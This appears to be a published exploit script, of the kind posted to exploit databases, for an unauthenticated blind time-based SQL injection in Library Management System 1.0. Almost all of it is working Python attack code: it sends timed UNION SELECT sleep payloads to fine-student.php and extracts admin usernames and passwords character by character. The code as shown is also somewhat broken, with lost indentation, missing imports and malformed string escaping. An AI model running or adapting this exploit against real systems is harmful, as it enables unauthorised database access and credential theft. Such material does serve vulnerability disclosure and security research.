Authored by Bobby Cooke, Adeeb Shah

Library Management System version 1.0 suffers from a remote blind time-based SQL injection vulnerability.

# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
# Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)
# Date: 16/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
# Vendor: breakthrough2
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.
# Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html
import requests,argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
C=FB if color == 'B' else FR if color == 'R' else FG
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
sqli = 'inject' UNION SELECT IF(SUBSTRING('
sqli += str(column)+','
sqli += str(position)+',1) = ''
sqli += str(char)+'',sleep(1),null) FROM '
sqli += str(table)+' WHERE adminId='
sqli += str(userid)+'; -- kamahamaha'
return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
'8','9','@','#']

def postRequest(URL,sqliReq,char,position,pxy):
sqliURL = URL
params = {"check":1,"id":sqliReq}
if pxy:
req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
else:
req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
#print("{} : {}".format(char,req.elapsed.total_seconds()))
return req.elapsed.total_seconds()

def theHarvester(target,CHARS,url,pxy):
#print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
position = 1
theHarvest = ""
while position < 8:
for char in CHARS:
sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
if postRequest(url,sqliReq,char,position,pxy) > 1:
theHarvest += char
break;
position += 1
return theHarvest

class userObj:
def __init__(self,username,password):
self.username = username
self.password = password

class tableSize:
def __init__(self,sizeU,sizeP):
self.sizeU = sizeU
self.sizeP = sizeP
self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST
self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST
def printHeader(self):
width = self.sizeU+self.sizeP+3
print(BR+" "*width+ST)
print(self.uTitle,self.pTitle)
print(BR+" "*width+ST)

def printTableRow(user,size):
username = user.username
unLen = len(username)
if unLen < size.sizeU:
username = username+(" "*(size.sizeU - unLen))
else:
name = name[:size.sizeU]
username += BR+" "+ST
password = user.password
pLen = len(password)
if pLen < size.sizeP:
password = password+(" "*(size.sizeP - pLen))
else:
password = password[:size.sizeP]
password += BR+" "+ST
print(username,password)


def sig():
SIG = SB+FY+" .-----.._ ,--.n"
SIG += FY+" | .. > ___ | | .--.n"
SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __n"
SIG += FY+" | </ "+FR+"* * *"+FY+" / / n"
SIG += FY+" | |> ) "+FR+" * *"+FY+" / n"
SIG += FY+" |____..- '-.._..-'_|___|._..___n"
SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____n"+ST
return SIG

def argsetup():
about = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST
parser = argparse.ArgumentParser(description=about)
parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')
parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')
parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')
args = parser.parse_args()
if args.proxy:
regex = '^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}:[0-9]{2,5}$'
if re.match(regex,args.proxy,re.IGNORECASE):
args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}
else:
print('{}Error: Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))
print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))
sys.exit(-1)
else:
proxy = False
return args

if __name__ == "__main__":
header = SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooken'+ST
print(header)
print(sig())
args = argsetup()
host = args.targetHost
pxy = args.proxy
admins = args.DumpXAdmins
PATH = host+"/LibraryManagement/fine-student.php"
size = tableSize(20,20)
size.printHeader()
dumpnumber = 1
while dumpnumber <= admins:
adminUsername = { "id":dumpnumber, "table":"admin", "column":"username"}
adminUsername = theHarvester(adminUsername,chars,PATH,pxy)
adminPassword = { "id":dumpnumber, "table":"admin", "column":"password"}
adminPass = theHarvester(adminPassword,chars,PATH,pxy)
adminUser = userObj(adminUsername,adminPass)
printTableRow(adminUser,size)
# print("Admin's Username is: {}".format(adminUsername))
# print("Admin's Password is: {}".format(adminPass))
dumpnumber += 1